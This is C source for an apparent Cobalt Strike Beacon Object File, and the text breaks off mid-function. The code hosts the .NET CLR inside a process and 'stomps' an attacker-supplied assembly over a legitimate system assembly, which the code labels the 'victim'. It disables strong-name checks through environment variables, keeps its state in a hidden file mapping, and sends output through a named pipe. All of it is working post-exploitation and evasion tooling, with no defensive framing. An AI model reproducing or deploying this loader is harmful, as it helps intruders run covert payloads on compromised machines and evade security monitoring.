#include "go.h"

typedef struct _VTableStore {

HostMallocVtbl hm;

MemoryManagerVtbl mm;

MyHostControlVtbl hc;

DWORD _data_anchor;

} VTableStore;

static VTableStore _vtbl_store = {{0},{0},{0}, 0xDEADBEEFUL};

static VTableStore* g_vtbl_store = &_vtbl_store;

#define HostMalloc_Vtbl (g_vtbl_store->hm)

#define MemoryManager_Vtbl (g_vtbl_store->mm)

#define MyHostControl_Vtbl (g_vtbl_store->hc)

#include "MemoryManager.c"

#include "HostMalloc.c"

#include "HostControl.c"

// CLR GUIDs — same set as main.c

static GUID xIID_AppDomain = { 0x05F696DC, 0x2B29, 0x3663, {0xAD, 0x8B, 0xC4, 0x38, 0x9C, 0xF2, 0xA7, 0x13} };

static GUID xCLSID_CLRMetaHost = { 0x9280188d, 0x0e8e, 0x4867, {0xb3, 0x0c, 0x7f, 0xa8, 0x38, 0x84, 0xe8, 0xde} };

static GUID xIID_ICLRMetaHost = { 0xD332DB9E, 0xB9B3, 0x4125, {0x82, 0x07, 0xA1, 0x48, 0x84, 0xF5, 0x32, 0x16} };

static GUID xIID_ICLRRuntimeInfo = { 0xBD39D1D2, 0xBA2F, 0x486a, {0x89, 0xB0, 0xB4, 0xB0, 0xCB, 0x46, 0x68, 0x91} };

static GUID xIID_ICorRuntimeHost = { 0xcb2f6722, 0xab3a, 0x11d2, {0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e} };

static GUID xCLSID_CorRuntimeHost = { 0xcb2f6723, 0xab3a, 0x11d2, {0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e} };

static GUID xCLSID_ICLRRuntimeHost= { 0x90F1A06E, 0x7712, 0x4762, {0x86, 0xB5, 0x7A, 0x5E, 0xBA, 0x6B, 0xDB, 0x02} };

static GUID xIID_ICLRRuntimeHost = { 0x90F1A06C, 0x7712, 0x4762, {0x86, 0xB5, 0x7A, 0x5E, 0xBA, 0x6B, 0xDB, 0x02} };

typedef BOOL (WINAPI *FnBoolVoid)(void);

typedef HWND (WINAPI *FnGetConsoleWindow)(void);

typedef BOOL (WINAPI *FnShowWindow)(HWND, int);

static WCHAR DefaultVictimFullV2[] = L"System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a";

static WCHAR DefaultVictimFullV4[] = L"System.ServiceModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089, processorarchitecture=msil";

#define BOF_STATE_MAGIC 0x524C4348UL

static const char bofStateNameBase[] = "Local\\CLRBofState_v6_";

typedef struct _BofState {

DWORD magic;

VTableStore* vtables;

ICorRuntimeHost* pCorHost;

MemoryManager* memoryManager;

StompPayload* stompPayload;

ICLRRuntimeHost* pCustomHost;

MyHostControl* pHostControl;

} BofState;

#ifndef COMIMAGE_FLAGS_32BITREQUIRED

#define COMIMAGE_FLAGS_32BITREQUIRED 0x00000002

#endif

#ifndef COMIMAGE_FLAGS_ILONLY

#define COMIMAGE_FLAGS_ILONLY 0x00000001

#endif

#ifndef COMIMAGE_FLAGS_NATIVE_ENTRYPOINT

#define COMIMAGE_FLAGS_NATIVE_ENTRYPOINT 0x00000010

#endif

#ifndef COMIMAGE_FLAGS_32BITPREFERRED

#define COMIMAGE_FLAGS_32BITPREFERRED 0x00020000

#endif

static WORD HostMachine(void) {

#if defined(_M_X64) || defined(_M_AMD64)

return IMAGE_FILE_MACHINE_AMD64;

#elif defined(_M_IX86)

return IMAGE_FILE_MACHINE_I386;

#elif defined(_M_ARM64)

return IMAGE_FILE_MACHINE_ARM64;

#else

return IMAGE_FILE_MACHINE_UNKNOWN;

#endif

}

static BOOL MachineMatchesHost(WORD machine) {

WORD hostMachine = HostMachine();

if (machine == IMAGE_FILE_MACHINE_UNKNOWN || hostMachine == IMAGE_FILE_MACHINE_UNKNOWN) {

return TRUE;

}

return machine == hostMachine;

}

static const char* ClassifyManagedArchitecture(WORD machine, WORD optMagic, DWORD corFlags, BOOL* canRunHere) {

BOOL ilOnly = (corFlags & COMIMAGE_FLAGS_ILONLY) != 0;

BOOL req32 = (corFlags & COMIMAGE_FLAGS_32BITREQUIRED) != 0;

BOOL pref32 = (corFlags & COMIMAGE_FLAGS_32BITPREFERRED) != 0;

BOOL nativeEntry = (corFlags & COMIMAGE_FLAGS_NATIVE_ENTRYPOINT) != 0;

*canRunHere = TRUE;

if (req32) {

if (HostMachine() != IMAGE_FILE_MACHINE_I386) {

*canRunHere = FALSE;

}

return "x86-only IL (32BITREQUIRED)";

}

if (!ilOnly || nativeEntry) {

if (!MachineMatchesHost(machine)) {

*canRunHere = FALSE;

}

if (machine == IMAGE_FILE_MACHINE_I386) return "x86 mixed/native";

if (machine == IMAGE_FILE_MACHINE_AMD64) return "x64 mixed/native";

if (machine == IMAGE_FILE_MACHINE_ARM64) return "ARM64 mixed/native";

return "mixed/native";

}

if (optMagic == IMAGE_NT_OPTIONAL_HDR64_MAGIC || machine == IMAGE_FILE_MACHINE_AMD64) {

if (!MachineMatchesHost(IMAGE_FILE_MACHINE_AMD64)) {

*canRunHere = FALSE;

}

return "x64 IL-only";

}

return pref32 ? "AnyCPU IL-only (32BITPREFERRED)" : "AnyCPU IL-only";

}

static DWORD RvaToOffset(PIMAGE_SECTION_HEADER sects, WORD nSects, DWORD rva) {

for (WORD i = 0; i < nSects; i++) {

if (rva >= sects[i].VirtualAddress &&

rva < sects[i].VirtualAddress + sects[i].SizeOfRawData)

return sects[i].PointerToRawData + (rva - sects[i].VirtualAddress);

}

return 0;

}

#pragma warning(push)

#pragma warning(disable: 4113)

static void initVtables(void) {

HostMalloc_Vtbl.QueryInterface = HostMalloc_QueryInterface;

HostMalloc_Vtbl.AddRef = HostMalloc_AddRef;

HostMalloc_Vtbl.Release = HostMalloc_Release;

HostMalloc_Vtbl.Alloc = HostMalloc_Alloc;

HostMalloc_Vtbl.DebugAlloc = HostMalloc_DebugAlloc;

HostMalloc_Vtbl.Free = HostMalloc_Free;

MemoryManager_Vtbl.QueryInterface = MemoryManager_QueryInterface;

MemoryManager_Vtbl.AddRef = MemoryManager_AddRef;

MemoryManager_Vtbl.Release = MemoryManager_Release;

MemoryManager_Vtbl.CreateMalloc = MemoryManager_CreateMalloc;

MemoryManager_Vtbl.fnVirtualAlloc = MemoryManager_VirtualAlloc;

MemoryManager_Vtbl.fnVirtualFree = MemoryManager_VirtualFree;

MemoryManager_Vtbl.fnVirtualQuery = MemoryManager_VirtualQuery;

MemoryManager_Vtbl.fnVirtualProtect = MemoryManager_VirtualProtect;

MemoryManager_Vtbl.GetMemoryLoad = MemoryManager_GetMemoryLoad;

MemoryManager_Vtbl.RegisterMemoryNotificationCallback = MemoryManager_RegisterMemoryNotificationCallback;

MemoryManager_Vtbl.NeedsVirtualAddressSpace = MemoryManager_NeedsVirtualAddressSpace;

MemoryManager_Vtbl.AcquiredVirtualAddressSpace = MemoryManager_AcquiredVirtualAddressSpace;

MemoryManager_Vtbl.ReleasedVirtualAddressSpace = MemoryManager_ReleasedVirtualAddressSpace;

MyHostControl_Vtbl.QueryInterface = MyHostControl_QueryInterface;

MyHostControl_Vtbl.AddRef = MyHostControl_AddRef;

MyHostControl_Vtbl.Release = MyHostControl_Release;

MyHostControl_Vtbl.GetHostManager = MyHostControl_GetHostManager;

MyHostControl_Vtbl.SetAppDomainManager = MyHostControl_SetAppDomainManager;

}

#pragma warning(pop)

static void stompPayloadSwap(StompPayload* sp, LPVOID* ppBytes, DWORD size, SIZE_T imageSize) {

if (sp->payloadBytes) {

MSVCRT$memset(sp->payloadBytes, 0, sp->payloadSize);

KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, sp->payloadBytes);

}

sp->payloadBytes = (unsigned char*)*ppBytes;

sp->payloadSize = size;

sp->payloadImageSize = imageSize;

*ppBytes = NULL;

}

static void freeStompPayload(StompPayload* stompPayload) {

if (!stompPayload) {

return;

}

if (stompPayload->payloadBytes) {

MSVCRT$memset(stompPayload->payloadBytes, 0, stompPayload->payloadSize);

KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, stompPayload->payloadBytes);

stompPayload->payloadBytes = NULL;

}

MSVCRT$memset(stompPayload, 0, sizeof(StompPayload));

KERNEL32$GlobalFree(stompPayload);

}

// Release COM interfaces and allocations

static void releaseUnpersistedHostState(

BOOL runtimeStarted,

ICLRRuntimeHost* pCustomHost,

ICorRuntimeHost* pCorHost,

MyHostControl* pHostControl,

MemoryManager* memoryManager,

StompPayload* stompPayload,

VTableStore* persistentVtables,

HANDLE hMMF)

{

if (runtimeStarted && pCustomHost) pCustomHost->lpVtbl->Stop(pCustomHost);

if (pCorHost) pCorHost->lpVtbl->Release(pCorHost);

if (pCustomHost) pCustomHost->lpVtbl->Release(pCustomHost);

if (pHostControl) {

pHostControl->memoryManager = NULL;

pHostControl->lpVtbl->Release((IHostControl*)pHostControl);

}

if (memoryManager) {

if (memoryManager->mallocManager) {

memoryManager->mallocManager->lpVtbl->Release((IHostMalloc*)memoryManager->mallocManager);

memoryManager->mallocManager = NULL;

}

memoryManager->stompPayload = NULL;

memoryManager->lpVtbl->Release((IHostMemoryManager*)memoryManager);

}

if (stompPayload) freeStompPayload(stompPayload);

if (persistentVtables) KERNEL32$GlobalFree(persistentVtables);

if (hMMF) KERNEL32$CloseHandle(hMMF);

}

// Parse a managed PE from a flat file image.

static BOOL ParseManagedPE(

LPVOID payloadBytes,

DWORD payloadSize,

SIZE_T* outImageSize,

char outClrVersionA[32],

wchar_t outClrVersionW[32])

{

PIMAGE_DOS_HEADER dosHdr = NULL;

PIMAGE_NT_HEADERS64 ntHdr = NULL;

PIMAGE_SECTION_HEADER sects = NULL;

IMAGE_DATA_DIRECTORY comDir;

WORD nSects = 0;

WORD optMagic = 0;

DWORD corOff = 0;

DWORD corFlags = 0;

BOOL payloadCanRun = TRUE;

const char* payloadArch = "unknown";

if (payloadSize < sizeof(IMAGE_DOS_HEADER)) {

BeaconPrintf(CALLBACK_ERROR, "[!] Payload too small\n"); return FALSE;

}

dosHdr = (PIMAGE_DOS_HEADER)payloadBytes;

if (dosHdr->e_magic != IMAGE_DOS_SIGNATURE) {

BeaconPrintf(CALLBACK_ERROR, "[!] Missing MZ signature\n"); return FALSE;

}

if (dosHdr->e_lfanew <= 0 || (SIZE_T)(ULONG)dosHdr->e_lfanew + sizeof(IMAGE_NT_HEADERS64) > payloadSize) {

BeaconPrintf(CALLBACK_ERROR, "[!] e_lfanew out of bounds\n"); return FALSE;

}

if (*(DWORD*)((BYTE*)payloadBytes + dosHdr->e_lfanew) != IMAGE_NT_SIGNATURE) {

BeaconPrintf(CALLBACK_ERROR, "[!] Missing PE signature\n"); return FALSE;

}

ntHdr = (PIMAGE_NT_HEADERS64)((BYTE*)payloadBytes + dosHdr->e_lfanew);

optMagic = ntHdr->OptionalHeader.Magic;

if (optMagic != IMAGE_NT_OPTIONAL_HDR32_MAGIC && optMagic != IMAGE_NT_OPTIONAL_HDR64_MAGIC) {

BeaconPrintf(CALLBACK_ERROR, "[!] Unknown optional header magic 0x%04x\n", optMagic); return FALSE;

}

comDir = (optMagic == IMAGE_NT_OPTIONAL_HDR64_MAGIC)

? ntHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR]

: ((PIMAGE_NT_HEADERS32)ntHdr)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR];

if (comDir.VirtualAddress == 0) {

BeaconPrintf(CALLBACK_ERROR, "[!] Not a managed assembly\n"); return FALSE;

}

{

SIZE_T stEnd = (SIZE_T)(ULONG)dosHdr->e_lfanew

+ offsetof(IMAGE_NT_HEADERS64, OptionalHeader)

+ ntHdr->FileHeader.SizeOfOptionalHeader

+ (SIZE_T)ntHdr->FileHeader.NumberOfSections * sizeof(IMAGE_SECTION_HEADER);

if (stEnd > payloadSize) { BeaconPrintf(CALLBACK_ERROR, "[!] Section table OOB\n"); return FALSE; }

}

sects = IMAGE_FIRST_SECTION(ntHdr);

nSects = ntHdr->FileHeader.NumberOfSections;

corOff = RvaToOffset(sects, nSects, comDir.VirtualAddress);

if (!corOff || corOff + sizeof(IMAGE_COR20_HEADER) > payloadSize) {

BeaconPrintf(CALLBACK_ERROR, "[!] CLR header out of bounds\n"); return FALSE;

}

{

PIMAGE_COR20_HEADER corHdr = (PIMAGE_COR20_HEADER)((BYTE*)payloadBytes + corOff);

corFlags = corHdr->Flags;

payloadArch = ClassifyManagedArchitecture(ntHdr->FileHeader.Machine, optMagic, corFlags, &payloadCanRun);

if (!payloadCanRun) {

BeaconPrintf(CALLBACK_ERROR,

"[!] Unsupported payload architecture for this BOF: %s (machine=0x%04x, corflags=0x%08lx)\n",

payloadArch, ntHdr->FileHeader.Machine, corFlags);

return FALSE;

}

}

if (corOff + 12 <= payloadSize) {

DWORD metaRva = *(DWORD*)((BYTE*)payloadBytes + corOff + 8);

DWORD metaOff = RvaToOffset(sects, nSects, metaRva);

if (metaOff && metaOff + 20 <= payloadSize) {

BYTE* meta = (BYTE*)payloadBytes + metaOff;

if (*(DWORD*)meta == 0x424A5342) {

DWORD verLen = *(DWORD*)(meta + 12);

if (verLen > 0 && verLen < 32 && metaOff + 16 + verLen <= payloadSize) {

MSVCRT$memset(outClrVersionA, 0, 32);

MSVCRT$memcpy(outClrVersionA, meta + 16, verLen);

}

}

}

}

KERNEL32$MultiByteToWideChar(CP_ACP, 0, outClrVersionA, -1, outClrVersionW, 32);

*outImageSize = ntHdr->OptionalHeader.SizeOfImage;

BeaconPrintf(CALLBACK_OUTPUT, "[*] Payload: %u bytes, image=%llu, CLR=%s, arch=%s\n",

payloadSize, (unsigned long long)*outImageSize, outClrVersionA, payloadArch);

return TRUE;

}

/*

* BOF entry point — supports repeated invocation in the same process.

*

* On the FIRST call the CLR is initialised and a named file mapping

* ("Local\CLRBofState_v6_pid") is created to persist the interface pointers.

* Subsequent calls open the mapping, recover those pointers, update the

* payload bytes, create a fresh AppDomain, stomp + invoke, then unload the

* domain. The CLR runtime, MemoryManager, and HostControl are never

* released between calls.

*

* Args:

* 1. wstr victimFullIdentity full normalised GAC identity for Load_2

* e.g. L"System.ServiceModel, Version=4.0.0.0, ..."

* 2. str assemblyArgs space-separated args for the payload's Main()

* e.g. "OSInfo"

* 3. str pipeName named pipe name without \\.\pipe\ prefix

* e.g. "bofpipe1234"

* 4. str appDomainName friendly name for the per-run AppDomain

* 5. bin payloadBytes raw assembly bytes (length-prefixed blob)

*/

void go(char* args, int length) {

datap parser;

HRESULT hr;

BOOL runtimeStarted = FALSE;

SIZE_T pipePathLen = 0;

SIZE_T payloadImageSize = 0;

DWORD payloadSize = 0;

long i;

long pidx[1];

char clrVersionA[32];

wchar_t clrVersionW[32];

// Args

WCHAR* victimFullIdentityW = NULL; // Z

char* assemblyArgsA = NULL; // z

char* pipeNameA = NULL; // z

char* appDomainNameA = NULL; // z

int extractedSize = 0;

char* payloadBytesRaw = NULL; // b

// Per-call heap allocations

LPVOID payloadBytes = NULL;

LPWSTR appDomainNameW = NULL;

int wDomainLen = 0;

char* pipePath = NULL;

BSTR assemblyName = NULL;

LPWSTR wAssemblyArgs = NULL;

LPWSTR* argArray = NULL;

int argCount = 0;

int wArgsLen = 0;

// Per-call COM interfaces

AppDomain* pAppDomain = NULL;

Assembly* pAssembly = NULL;

IUnknown* pDomainThunk = NULL;

MethodInfo* pMethodInfo = NULL;

// Variants / safe arrays

VARIANT args_v, obj, retVal;

SAFEARRAY* params = NULL;

SAFEARRAYBOUND paramsBound[1];

// Pipe / stdout redirect

HANDLE mainHandle = INVALID_HANDLE_VALUE;

HANDLE hFile = INVALID_HANDLE_VALUE;

HANDLE stdOutput = NULL;

BOOL pipeSetup = FALSE;

BOOL allocatedConsole = FALSE;

FnBoolVoid fnAllocConsole = NULL;

FnBoolVoid fnFreeConsole = NULL;

// CLR host state

ICorRuntimeHost* pCorHost = NULL;

MemoryManager* memoryManager = NULL;

StompPayload* stompPayload = NULL;

ICLRRuntimeHost* pCustomHost = NULL;

MyHostControl* pHostControl = NULL;

// First-run only

ICLRMetaHost* pMetaHost = NULL;

ICLRRuntimeInfo* pRuntimeInfo = NULL;

HANDLE hMMF = NULL;

BofState* bofState = NULL;

BOOL hostStatePersisted = FALSE;

VTableStore* persistentVtables = NULL;

BOOL coInitialized = FALSE;

BOOL savedComplus = FALSE;

BOOL hadZapDisable = FALSE;

BOOL hadSNBypass = FALSE;

char oldZapDisable[256];

char oldSNBypass[256];

// Per-run unique domain name

char domainNameBuf[128];

char bofStateName[48];

initVtables();

MSVCRT$memset(domainNameBuf, 0, sizeof(domainNameBuf));

MSVCRT$memset(bofStateName, 0, sizeof(bofStateName));

{

static const char hex[] = "0123456789abcdef";

DWORD pid = KERNEL32$GetCurrentProcessId();

MSVCRT$memcpy(bofStateName, bofStateNameBase, 21);

for (int _i = 0; _i < 8; _i++)

bofStateName[21 + _i] = hex[(pid >> (28 - _i * 4)) & 0xF];

}

MSVCRT$memset(&args_v, 0, sizeof(VARIANT));

MSVCRT$memset(&obj, 0, sizeof(VARIANT));

MSVCRT$memset(&retVal, 0, sizeof(VARIANT));

MSVCRT$memset(clrVersionA, 0, sizeof(clrVersionA));

MSVCRT$memset(clrVersionW, 0, sizeof(clrVersionW));

MSVCRT$memcpy(clrVersionA, "v4.0.30319", 10);

// Parse beacon args

BeaconDataParse(&parser, args, length);

victimFullIdentityW = (WCHAR*)BeaconDataExtract(&parser, NULL);

assemblyArgsA = BeaconDataExtract(&parser, NULL);

pipeNameA = BeaconDataExtract(&parser, NULL);

appDomainNameA = BeaconDataExtract(&parser, NULL);

payloadBytesRaw = BeaconDataExtract(&parser, &extractedSize);

if (!victimFullIdentityW || !assemblyArgsA ||

!pipeNameA || !appDomainNameA || extractedSize <= 0 || !payloadBytesRaw) {

BeaconPrintf(CALLBACK_ERROR, "[!] Failed to parse BOF arguments\n");

return;

}

payloadSize = (DWORD)extractedSize;

payloadBytes = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, payloadSize);

if (!payloadBytes)

{

BeaconPrintf(CALLBACK_ERROR, "[!] HeapAlloc(payload) failed\n"); return;

}

MSVCRT$memcpy(payloadBytes, payloadBytesRaw, payloadSize);

// PE validation

if (!ParseManagedPE(payloadBytes, payloadSize, &payloadImageSize, clrVersionA, clrVersionW))

goto cleanup;

if (!victimFullIdentityW[0]) {

victimFullIdentityW = (clrVersionA[1] == '2') ? DefaultVictimFullV2 : DefaultVictimFullV4;

}

else if (clrVersionA[1] == '2' &&

MSVCRT$wcsstr(victimFullIdentityW, L"System.ServiceModel") &&

MSVCRT$wcsstr(victimFullIdentityW, L"Version=4.0.0.0")) {

BeaconPrintf(CALLBACK_OUTPUT, "[*] Payload targets CLR v2; using v2 System.Drawing victim\n");

victimFullIdentityW = DefaultVictimFullV2;

}

// Build named-pipe path

pipePathLen = MSVCRT$strlen(pipeNameA) + 10;

pipePath = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, pipePathLen);

if (!pipePath) { BeaconPrintf(CALLBACK_ERROR, "[!] HeapAlloc(pipePath) failed\n"); goto cleanup; }

MSVCRT$memcpy(pipePath, "\\\\.\\pipe\\", 9);

MSVCRT$memcpy(pipePath + 9, pipeNameA, MSVCRT$strlen(pipeNameA) + 1);

//Persistent state: open existing or initialise fresh

BeaconPrintf(CALLBACK_OUTPUT, "[*] Initialising CLR\n");

hMMF = KERNEL32$OpenFileMappingA(FILE_MAP_READ | FILE_MAP_WRITE, FALSE, bofStateName);

if (hMMF) {

bofState = (BofState*)KERNEL32$MapViewOfFile(hMMF, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, sizeof(BofState));

if (!bofState || bofState->magic != BOF_STATE_MAGIC || !bofState->vtables ||

!bofState->pCorHost || !bofState->memoryManager || !bofState->stompPayload ||

!bofState->pCustomHost || !bofState->pHostControl) {

BeaconPrintf(CALLBACK_ERROR, "[!] BofState magic mismatch or incomplete mapping\n");

if (bofState) { KERNEL32$UnmapViewOfFile(bofState); bofState = NULL; }

KERNEL32$CloseHandle(hMMF); hMMF = NULL;

goto cleanup;

}

g_vtbl_store = bofState->vtables;

initVtables();

pCorHost = bofState->pCorHost;

memoryManager = bofState->memoryManager;

stompPayload = bofState->stompPayload;

pCustomHost = bofState->pCustomHost;

pHostControl = bofState->pHostControl;

KERNEL32$UnmapViewOfFile(bofState); bofState = NULL;

KERNEL32$CloseHandle(hMMF); hMMF = NULL;

memoryManager->lpVtbl = &MemoryManager_Vtbl;

if (memoryManager->mallocManager) {

memoryManager->mallocManager->lpVtbl = &HostMalloc_Vtbl;

}

pHostControl->lpVtbl = &MyHostControl_Vtbl;

stompPayloadSwap(stompPayload, &payloadBytes, payloadSize, payloadImageSize);

memoryManager->stompPayload = stompPayload;

pHostControl->memoryManager = memoryManager;

hostStatePersisted = TRUE;

BeaconPrintf(CALLBACK_OUTPUT, "[*] Reusing cached CLR host\n");

goto clr_host_ready;

}

persistentVtables = (VTableStore*)KERNEL32$GlobalAlloc(GMEM_FIXED | GMEM_ZEROINIT, sizeof(VTableStore));

if (!persistentVtables) { BeaconPrintf(CALLBACK_ERROR, "[!] GlobalAlloc(VTableStore) failed\n"); goto cleanup; }

persistentVtables->_data_anchor = 0xDEADBEEFUL;

g_vtbl_store = persistentVtables;

initVtables();

stompPayload = (StompPayload*)KERNEL32$GlobalAlloc(GMEM_FIXED | GMEM_ZEROINIT, sizeof(StompPayload));

if (!stompPayload) { BeaconPrintf(CALLBACK_ERROR, "[!] GlobalAlloc(StompPayload) failed\n"); goto cleanup; }

stompPayloadSwap(stompPayload, &payloadBytes, payloadSize, payloadImageSize);

memoryManager = KERNEL32$GlobalAlloc(GMEM_FIXED | GMEM_ZEROINIT, sizeof(MemoryManager));

if (!memoryManager) { BeaconPrintf(CALLBACK_ERROR, "[!] GlobalAlloc(MemoryManager) failed\n"); goto cleanup; }

memoryManager->lpVtbl = &MemoryManager_Vtbl;

memoryManager->stompPayload = stompPayload;

memoryManager->count = 1;

pHostControl = KERNEL32$GlobalAlloc(GMEM_FIXED | GMEM_ZEROINIT, sizeof(MyHostControl));

if (!pHostControl) { BeaconPrintf(CALLBACK_ERROR, "[!] GlobalAlloc(MyHostControl) failed\n"); goto cleanup; }

pHostControl->lpVtbl = &MyHostControl_Vtbl;

pHostControl->count = 1;

pHostControl->memoryManager = memoryManager;

// Save COMPLUS_* env vars,

hadZapDisable = KERNEL32$GetEnvironmentVariableA("COMPLUS_ZapDisable", oldZapDisable, sizeof(oldZapDisable)) > 0;

hadSNBypass = KERNEL32$GetEnvironmentVariableA("COMPLUS_AllowStrongNameBypass", oldSNBypass, sizeof(oldSNBypass)) > 0;

KERNEL32$SetEnvironmentVariableA("COMPLUS_ZapDisable", "1");

KERNEL32$SetEnvironmentVariableA("COMPLUS_AllowStrongNameBypass","1");

savedComplus = TRUE;

{

HRESULT hrCo = OLE32$CoInitializeEx(NULL, COINIT_MULTITHREADED);

coInitialized = (hrCo == S_OK || hrCo == S_FALSE);

}

hr = MSCOREE$CLRCreateInstance(&xCLSID_CLRMetaHost, &xIID_ICLRMetaHost, (LPVOID*)&pMetaHost);

if (FAILED(hr)) { BeaconPrintf(CALLBACK_ERROR, "[!] CLRCreateInstance: 0x%08lx\n", hr); goto cleanup; }

hr = pMetaHost->lpVtbl->GetRuntime(pMetaHost, clrVersionW, &xIID_ICLRRuntimeInfo, &pRuntimeInfo);

if (FAILED(hr)) { BeaconPrintf(CALLBACK_ERROR, "[!] GetRuntime: 0x%08lx\n", hr); goto cleanup; }

// Bail out

{

BOOL fStarted = FALSE; DWORD dwStartupFlags = 0;

if (SUCCEEDED(pRuntimeInfo->lpVtbl->IsStarted(pRuntimeInfo, &fStarted, &dwStartupFlags)) && fStarted) {

BeaconPrintf(CALLBACK_ERROR,

"[!] CLR %s is already running in this process (started externally).\n"

" SetHostControl cannot be called after Start() — stomping requires\n"

" being the first host. Target a process with no loaded CLR.\n",

clrVersionA);

goto cleanup;

}

}

hr = pRuntimeInfo->lpVtbl->GetInterface(pRuntimeInfo,

&xCLSID_ICLRRuntimeHost, &xIID_ICLRRuntimeHost, (LPVOID*)&pCustomHost);

if (FAILED(hr)) { BeaconPrintf(CALLBACK_ERROR, "[!] GetInterface(ICLRRuntimeHost): 0x%08lx\n", hr); goto cleanup; }

hr = pCustomHost->lpVtbl->SetHostControl(pCustomHost, (IHostControl*)pHostControl);

BeaconPrintf(CALLBACK_OUTPUT, "[+] SetHostControl hr=0x%08lx\n", hr);

if (FAILED(hr)) goto cleanup;

BeaconPrintf(CALLBACK_OUTPUT, "[*] Calling Start()\n");

hr = pCustomHost->lpVtbl->Start(pCustomHost);

BeaconPrintf(CALLBACK_OUTPUT, "[+] Start hr=0x%08lx\n", hr);

if (FAILED(hr)) goto cleanup;

runtimeStarted = TRUE;

if (savedComplus) {

KERNEL32$SetEnvironmentVariableA("COMPLUS_ZapDisable", hadZapDisable ? oldZapDisable : NULL);

KERNEL32$SetEnvironmentVariableA("COMPLUS_AllowStrongNameBypass", hadSNBypass ? oldSNBypass : NULL);

savedComplus = FALSE;

}

hr = pRuntimeInfo->lpVtbl->GetInterface(pRuntimeInfo,

&xCLSID_CorRuntimeHost, &xIID_ICorRuntimeHost, (VOID**)&pCorHost);

if (FAILED(hr)) { BeaconPrintf(CALLBACK_ERROR, "[!] GetInterface(ICorRuntimeHost): 0x%08lx\n", hr); goto cleanup; }

hMMF = KERNEL32$CreateFileMappingA(INVALID_HANDLE_VALUE, NULL,

PAGE_READWRITE, 0, (DWORD)sizeof(BofState), bofStateName);

if (!hMMF) { BeaconPrintf(CALLBACK_ERROR, "[!] CreateFileMappingA: %lu\n", KERNEL32$GetLastError()); goto cleanup; }

bofState = (BofState*)KERNEL32$MapViewOfFile(hMMF, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, sizeof(BofState));

if (!bofState) { BeaconPrintf(CALLBACK_ERROR, "[!] MapViewOfFile failed\n"); goto cleanup; }

MSVCRT$memset(bofState, 0, sizeof(BofState));

bofState->vtables = persistentVtables;

bofState->pCorHost = pCorHost;

bofState->memoryManager = memoryManager;

bofState->stompPayload = stompPayload;

bofState->pCustomHost = pCustomHost;

bofState->pHostControl = pHostControl;

bofState->magic = BOF_STATE_MAGIC;

KERNEL32$UnmapViewOfFile(bofState); bofState = NULL;

hMMF = NULL;

hostStatePersisted = TRUE;

clr_host_ready:

if (assemblyArgsA && assemblyArgsA[0] != '\0') {

wArgsLen = KERNEL32$MultiByteToWideChar(CP_ACP, 0, assemblyArgsA, -1, NULL, 0);

wAssemblyArgs = (LPWSTR)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(),

HEAP_ZERO_MEMORY, wArgsLen * sizeof(WCHAR));

if (!wAssemblyArgs) { BeaconPrintf(CALLBACK_ERROR, "[!] HeapAlloc(wAssemblyArgs) failed\n"); goto per_call_cleanup; }

KERNEL32$MultiByteToWideChar(CP_ACP, 0, assemblyArgsA, -1, wAssemblyArgs, wArgsLen);

argArray = SHELL32$CommandLineToArgvW(wAssemblyArgs, &argCount);

KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, wAssemblyArgs); wAssemblyArgs = NULL;

}

args_v.vt = VT_ARRAY | VT_BSTR;

args_v.parray = OLEAUT32$SafeArrayCreateVector(VT_BSTR, 0, argCount);

if (!args_v.parray) { BeaconPrintf(CALLBACK_ERROR, "[!] SafeArrayCreateVector failed\n"); goto per_call_cleanup; }

for (i = 0; i < argCount; i++) {

long idx = i;

BSTR bstrArg = OLEAUT32$SysAllocString(argArray[i]);

OLEAUT32$SafeArrayPutElement(args_v.parray, &idx, bstrArg);

OLEAUT32$SysFreeString(bstrArg);

}

if (argArray) { KERNEL32$LocalFree(argArray); argArray = NULL; }

paramsBound[0].lLbound = 0;

paramsBound[0].cElements = 1;

params = OLEAUT32$SafeArrayCreate(VT_VARIANT, 1, paramsBound);

if (!params) { BeaconPrintf(CALLBACK_ERROR, "[!] SafeArrayCreate failed\n"); goto per_call_cleanup; }

pidx[0] = 0;

OLEAUT32$SafeArrayPutElement(params, pidx, &args_v);

//Random AppDomain

{

SIZE_T baseLen = MSVCRT$strlen(appDomainNameA);

SIZE_T pipeLen = MSVCRT$strlen(pipeNameA);

if (baseLen + 1 + pipeLen < sizeof(domainNameBuf)) {

MSVCRT$memcpy(domainNameBuf, appDomainNameA, baseLen);

domainNameBuf[baseLen] = '_';

MSVCRT$memcpy(domainNameBuf + baseLen + 1, pipeNameA, pipeLen + 1);

} else {

MSVCRT$memcpy(domainNameBuf, appDomainNameA, sizeof(domainNameBuf) - 1);

domainNameBuf[sizeof(domainNameBuf) - 1] = '\0';

}

}

wDomainLen = KERNEL32$MultiByteToWideChar(CP_ACP, 0, domainNameBuf, -1, NULL, 0);

appDomainNameW = (LPWSTR)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, wDomainLen * sizeof(WCHAR));

if (!appDomainNameW) { BeaconPrintf(CALLBACK_ERROR, "[!] HeapAlloc(appDomainNameW) failed\n"); goto per_call_cleanup; }

KERNEL32$MultiByteToWideChar(CP_ACP, 0, domainNameBuf, -1, appDomainNameW, wDomainLen);

hr = pCorHost->lpVtbl->CreateDomain(pCorHost, appDomainNameW, NULL, &pDomainThunk);

if (FAILED(hr)) { BeaconPrintf(CALLBACK_ERROR, "[!] CreateDomain: 0x%08lx\n", hr); goto per_call_cleanup; }

